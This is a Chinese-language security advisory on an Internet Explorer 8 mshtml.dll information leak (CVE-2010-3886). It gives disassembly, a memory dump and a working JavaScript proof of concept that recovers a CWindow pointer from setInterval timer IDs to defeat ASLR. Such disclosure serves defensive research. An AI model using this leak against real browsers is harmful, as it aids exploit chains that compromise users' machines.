安全研究
安全漏洞
Microsoft IE mshtml.dll库远程信息泄露漏洞
发布日期:2010-06-29
更新日期:2010-06-30
受影响系统:
Microsoft Internet Explorer 8.0描述:
BUGTRAQ ID: 41247
CVE ID: CVE-2010-3886
Internet Explorer是Windows操作系统中默认捆绑的web浏览器。
在CWindow的构造函数中变量IDEvent被初始化为1:
Module: mshtml.dll Vista SP2
.text:7403EC0A mov dword ptr [ecx+30h], 1 ; TimerID_Counter = 1
每次setInterval或setTimeout创建一个Timeout事件时都会通过以下函数注入到列表中:
Module: mshtml.dll Vista SP2
text:741170E5 ; public: long __thiscall CTimeoutEventList::InsertIntoTimeoutList(struct TIMEOUTEVENTINFO *, unsigned int *, int)
.text:741170E5 ?InsertIntoTimeoutList@CTimeoutEventList@@QAEJPAUTIMEOUTEVENTINFO@@PAIH@Z proc near
.text:741170E5 ; CODE XREF: CWindow::AddTimeoutCode(tagVARIANT *,ushort *,long,long,uint *)+73p
.text:741170E5 ; CWindow::FireTimeOut(uint)+14DFB8p
在以下代码中:
Module: mshtml.dll Vista SP2
text:741170E5 ; public: long __thiscall CTimeoutEventList::InsertIntoTimeoutList
[...]
.text:74117100 mov eax, [esi+30h] ; p->IDEvent
.text:74117103 mov ecx, [ebp+arg_0] ; TimerEvent *t;
.text:74117106 add eax, esi ; s = p + p->IDEvent; // Oops!
.text:74117108 mov [ecx+0Ch], eax ; t->ID = s
.text:7411710B inc dword ptr [esi+30h] p->IDEvent++
为了不返回纯顺序的可预测ID,微软添加了一个magic value,但这个值是最终表示打开浏览器窗口的CWindow对象的指针成员,因此即使在重载后,只要没有关闭浏览器的例程,该值在内存中是持续性的。考虑到IDEvent是可预测的,且指针偏移时已知的,因此可以推测出到持续性CWindow对象的指针(leakedPointer - ID_Counter - 0x3c),获得执行ROP/防ASLR攻击的有用地址信息。
06930dd8 6b0253f8 mshtml!CWindow::`vftable'
06930ddc 00000004
06930de0 00000008
06930de4 070f5720
06930de8 00000000
06930dec 6b028ad8 mshtml!CWindow::`vftable'
06930df0 6b04de30 mshtml!CWindow::`vftable'
06930df4 6aff257c mshtml!CWindow::`vftable'
06930df8 6aff2220 mshtml!CWindow::`vftable'
06930dfc 6aff25a0 mshtml!CWindow::`vftable'
06930e00 068ee3b0
06930e04 00000000
06930e08 068f4aa8
06930e0c 06926be0
06930e10 00000000
06930e14 6b01f5a4 mshtml!CDataAry::`vftable'
06930e18 00000000
06930e1c 00000000
06930e20 00000000
06930e24 6b01f5a4 mshtml!CDataAry::`vftable'
06930e28 00000000
06930e2c 00000000
06930e30 00000000
06930e34 6b01f5a4 mshtml!CDataAry::`vftable'
06930e38 00000000
06930e3c 00000000
06930e40 00000000
06930e44 00000001
06930e48 00000000
06930e4c 00000000
06930e50 00000000
06930e54 00000000
<*来源:Rubén Santamarta
链接:http://reversemode.com/index.php?option=com_content&task=view&id=68&Itemid=1
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<head>
<title>mshtml.dll CTimeoutEventList::InsertIntoTimeoutList Timer ID Pointer leak - Rub閚 Santamarta www.reversemode.com</title>
<script type='text/javascript'>
var i = 1; // counter
function LeakOrDie() {
var t;
t=setInterval("foo()",2000);
t-=i;
document.getElementById('atun').innerHTML = '<b> Pointer leaked:</b> '+'0x'+t.toString(16);
i++;
}
function foo()
{
return;
}
</script>
</head>
<body>
<INPUT TYPE=button VALUE="Press to leak" ONCLICK="LeakOrDie();">
<br /><br />
<div id='atun'> </div>
</body>
</html>
建议:
厂商补丁:
Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.microsoft.com/windows/ie/default.asp
浏览次数:3138
严重程度:0(网友投票)
绿盟科技给您安全的保障
